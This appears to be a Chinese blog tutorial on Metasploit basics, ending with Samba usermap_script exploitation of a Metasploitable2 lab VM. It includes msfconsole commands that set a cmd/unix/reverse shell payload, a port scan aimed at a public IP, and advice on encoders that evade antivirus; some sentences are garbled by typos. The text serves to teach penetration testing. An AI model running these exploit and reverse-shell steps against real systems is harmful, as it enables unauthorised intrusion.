MSF以及Samba漏洞利用
文章目录
MSF以及Samba漏洞利用
一、Metasploit简介
Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。
攻击者可以将来自漏洞扫描程序的结果导入到Metasploit框架的开源安全工具Armitage中,然后通过Metasploit的模块来确定漏洞。一旦发现了漏洞,攻击者就可以采取一种可行方法攻击系统,通过Shell或启动Metasploit的meterpreter来控制这个系统。
1.1MSF启动
在命令行输入msfconsole启动msf
1.2问题报错
1.2.1及时更新源
在使用Kali操作系统时应注意及时更新源,就像平时要及时更新手机App一个道理。更新命令有apt-get update、apt-get upgrede和ap-get dstupgrade.
apt-getupdate:只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新。
apt-get upgrade:升级系统上安装的所有软件包,若更新失败,所涉及的包
apt-get dist-upgrade:升级整个Linux系统,例如从Kali Linux 1.0.1升级到Kali Linux 1.0.2 (不仅能够升级所有已安装的软件包,而且会处理升级过程中可能出现的软件冲突。某些情况下,它的部分升级过程需要人工参与)。
1.2.2下载数据库
apt-get install postgresql
systemctl start postgresql
二、Metasploit基础
2.1专业术语
MSF框架由多个模块组成,各个模块及其具体的功能如下。
- Auxiliaries (辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
- Exploit (漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、 应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
- Payload (攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,架中可以*地选择。传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
- Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后法透攻击动作。如获取敏感信息、实施跳板攻击等。
- Encoders(编码工具模块)
这机块在海进测试中负责免杀,以防止被系毒软件、防火墙、IDS及类似的安全软件检测出来。
2.2渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察井发动攻击,大致的步骤如下所示。
- 扫描标机系统,寻找可用漏洞。
- 选择并配置一个漏洞利用模块。
- 选择井配置一个攻击载荷模块。
- 选择一个编码技术,用来绕过杀毒软件的查杀。
- 渗透攻击。
三、主机扫描
扫描和收集信息是渗透测试中的第一步, 其主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多,渗透的概率就越大。该步骤的主要关注点是目标机器IP地址、可用服务、开放端口等。
3.1使用辅助模块进行端口扫描
3.1.1检查有哪些可用端口
辅助模块是Metasploit,首先利用search命令来搜索有哪些可用的端口模块。
我们可以看到可用的扫描器列表,包含了各种扫描类型
3.1.2一个小问题
Module database cache not built yet, using slow search
很多情况下会出现如下问题:
解决办法:
aaa@qq.com:~# msfdb init 【初始化】
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
aaa@qq.com:~# service postgresql restart 【重启postgresql服务】
aaa@qq.com:~# update-rc.d postgresql enable 【设置为开机自启动】
aaa@qq.com:~# service postgresql status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: disabled)
Active: active (exited) since Tue 2017-08-22 03:47:39 EDT; 1min 18s ago
Main PID: 1254 (code=exited, status=0/SUCCESS)
CGroup: /system.slice/postgresql.service
Aug 22 03:47:39 kali systemd[1]: Starting PostgreSQL RDBMS...
Aug 22 03:47:39 kali systemd[1]: Started PostgreSQL RDBMS.
aaa@qq.com:~# msfconsole
msf > db_rebuild_cache 【重建缓存】
[*] Purging and rebuilding the module cache in the background...
...
【大概要等个5分钟的样子,自己可以尝试一下运行下面那个命令】
...
msf > search portscan 【再次搜索发现变快了很多
3.1.3使用TCP扫描模块并检查有那些参数需要设置
输入use命令即可使用该漏洞利用模块使用show options命令查看需要设置的参数
Required列中被标记为yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址、 PORTS 设置扫描端口范围、THREADS扫描线程,线程数量扫描的速度越多,使用 set命令设置相应的参数,也可使用unset命令取消某个参数值设置
设置待扫描的IP地址(RHOSTS),设置扫描的端口范围(PORTS),设置扫描的线程(THREADS),最后使用show options查看设置的参数。run运行。
set RHOSTS [设置待扫描的IP地址]
set PORTS 1-500
set THREADS 20
show options
可以看到目标机器开了21 53 443 三个个端口
3.1.4使用unset取消某个参数
这里取消的是ip地址,最后可看见开放了21 53端口。
unset rhosts
set rhosts 47.99.203.214
run
另外,还有两条命令,setg和unsetg。两者用于设置或者取消全局的参数值。
3.2使用辅助模块进行服务扫描
在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如 VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。 通过search命令搜索scanner可以发现大量的扫描模块,建议读者多尝试不同的辅 助扫描模块,了解其用法。使用的步骤与使用端口扫描模块时的基本相同,这里就不演示了,附上常用的扫描模块
3.3使用Nmap扫描
Metasploit 中同样可以使用Nmap扫描,nmap的用法在第三章中已经详细讲过,它不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握Nmap 的用法可以极大地提高个人的渗透测试技术。
3.3.1系统扫描
现在我们要获取目标主机的操作系统,输入nmap -O -Pn/-p0 URI命令,其中Pn和 p0(数字0)参数的意思是不使用ping 的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现。
四、漏洞利用
4.1Metasploitable2搭建
下面就假设目标机是Metasploitable2 ,对Linux机器进行渗透攻击。Metasploitable2 虚拟系统是一个特别制作的Ubuntu操作系统,主要用于安全工具测试和演示常见的漏洞攻击。该虚拟系统兼容VMware VirtualBox和其他虚拟平台,默认只开启一 个网络适配器并且开启 NAT和 Host Only 。
此次模拟目标机是自我搭建的metasploitable2,攻击机为kali。
该虚拟机的默认账户和密码都是msfadmin
然后查看一下当前的ip地址
kali上对目标ip进行扫描。
nmap -sV 192.168.18.136
收集到目标机相关信息后,为其选择正确的Exploit和合适的Payload 从扫描结果中发现目标ip运行着Samba服务。
4.2 Samba漏洞
简介 Samba是一个能让Linux系统应用Microsoft网络通讯协议的软件,而SMB是Server Message Block的缩写,即为服务器消息块,SMB主要是作为Microsoft的网络通讯协议,后来Samba将SMB通信协议应用到了Linux系统上,就形成了现在的Samba软件。
在msf种搜索samba漏洞利用模块。
search samba
发现漏洞利用模块exploit/multi/samba/usermap_script
,rank是 excellent,即最杰出而且时间是最新的,为提高渗透成功率,这里选择此模块进行渗透
查看目标利用模块。
info exploit/multi/samba/usermap_script
使用漏洞利用模块并且查看可用于攻击的payload
use exploit/multi/samba/usermap_script
show payloads
如图所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。
这里我们使用cmd/unix/reverse
set payload cmd/unix/reverse
设置攻击的目标机的ip
设置漏洞利用的端口号
设置攻击机的主机ip
set RHOST 192.168.18.136
set RPORT 445
set LHOST 192.168.18.139
下一篇: 网鼎杯青龙pwn(第四场)